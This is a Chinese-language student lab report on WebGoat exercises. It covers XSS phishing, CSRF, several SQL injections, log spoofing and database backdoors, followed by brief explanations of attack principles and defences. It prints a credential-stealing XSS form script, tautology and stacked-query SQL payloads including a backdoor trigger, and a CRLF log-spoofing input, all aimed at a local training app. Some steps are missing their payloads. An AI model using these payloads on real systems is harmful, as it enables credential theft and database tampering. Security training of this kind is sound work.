实验过程
WebGoat
在终端中输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat。
打开浏览器，在地址栏输入localhost:8080/WebGoat打开WebGoat，使用默认的账号密码即可登陆。
XSS攻击
Phishing with XSS 跨站脚本钓鱼攻击
任意构造用户当前浏览的HTML内容，甚至可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击
在文本框里面注入代码：
</form>
<script>
function hack()
{
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("You've been attacked ... Your Identity information were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
跳出一个攻击者编写的填写用户名和密码的表单
攻击成功，获取用户名和密码
Reflected XSS 反射型XSS攻击
在code框中输入
Stored XSS Attacks 存储型XSS攻击
打开Stored XSS Attacks，在Message里输入
CSRF攻击
Cross Site Request Forgery(CSRF)
查看页面右边Parameters中的src和menu值
message框中输入代码：
提交后生成一个链接dzdd：
点击学号名即可查看用户操作的信息，攻击成功
CSRF Prompt By-Pass
查看页面右边Parameters中的src和menu值，并在title框中输入学号，message框中输入代码：
提交后生成一个链接5331：
点击学号名即可查看用户操作的信息，攻击成功
SQL注入攻击
SQL字符串注入
使用SQL注入查看ID卡号码，根据提示输入Smith，查询名为Smith的所有信息
可以发现，这样就轻松得到了名为Smith的ID卡号
输入'or 1='1，构成永真式
Numeric SQL Injection
可以发现此选择框是一个下拉框，是无法修改，因此可使用BurpSuite抓包修改
打开BurpSuite，在BurpSuite中依次选择Proxy->Options->Add添加一个端口，将绑定的端口设为5331，确认后会在Options下增加一行，勾选新形成的这一行
点击浏览器，更多选项卡，选择preference，advanced，选择network页标签，在connection那一行选settings
在弹出的窗口中设置代理服务器和端口
设置好代理后回到题目页面，点击Go，然后进入BurpSuite中依次选择Proxy->Intercept，可以看到已经抓到了包：
右键选择send to repeater,进入repeater页标签，选择Params将其中station的值改为101 or 1=1，点击Go运行，查看右侧代码可以看到包中的SQL语句为SELECT * FROM weather_data WHERE station = 101 or 1=1
Log Spoofing
在User Name文本框中输入%0d%0aLogin succeeded !admin达到欺骗登录效果，破解成功：
LAB: SQL Injection of stage 1
使用字符串SQL注入绕过认证。利用SQL注入日志作为老板（'neville”）没有使用正确的密码。验证neville的配置文件可以查看和所有功能可用
选择用户名为neville的admin用户，输入永真式' or 1=1 --为密码，输入时发现密码框文本长度设置不够构造永真式，执行右键->Inpect Element with Firebug,手动修改密码长度为11（永真式长度）
登录成功
Database Backdoors
使用字符串SQL注入执行多个SQL语句。第一个是系统的，第二个是你的。帐户ID是101。这个页面允许你看到你的密码，SSN和工资。尝试注入另一个更新更新工资到更高的东西
输入101，得到了该用户的信息：
输入注入语句：101; update employee set salary=100000，可以看到工资上涨。
使用语句101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='xiejialing@qq.com' WHERE userid = NEW.userid创建一个后门，把表中所有的邮箱和用户ID都设为我的：
基础问题回答
SQL注入攻击原理，如何防御？
攻击原理
SQL注入即是指web应用程序对用户输入数据的合法性没有判断，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。
预防
1、 普通用户与系统管理员用户的权限要有严格的区分。
2、 强迫使用参数化语句。
3、 加强对用户输入的验证。
4、 多多使用SQL Server数据库自带的安全参数。
5、必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。
XSS攻击的原理，如何防御？
攻击原理：
跨站脚本攻击，XSS攻击类似于SQL注入攻击，将攻击代码注入到网页上或者数据库存储里面，在访问网页或者执行网页上功能是就会触发，实现攻击。
防御方法：
对于用户输入的攻击，只允许输入合法的值，其它值一概过滤掉。
CSRF攻击原理，如何防御？
攻击原理：
通过劫持会话，伪造身份等方式来达到一些非法目的，例如转账，支付等
防御方法：
使用验证码，表单中附加随机值，以此来防止冒充，在对于用户的隐私数据尽量进行加密处理，加密传输
实验总结
感觉平常上网时危险还是挺多的，可以通过各种的方法实现攻击，所以在做网站编程的时候应该对用户输入的信息做出合理的判断，从而保证用户安全。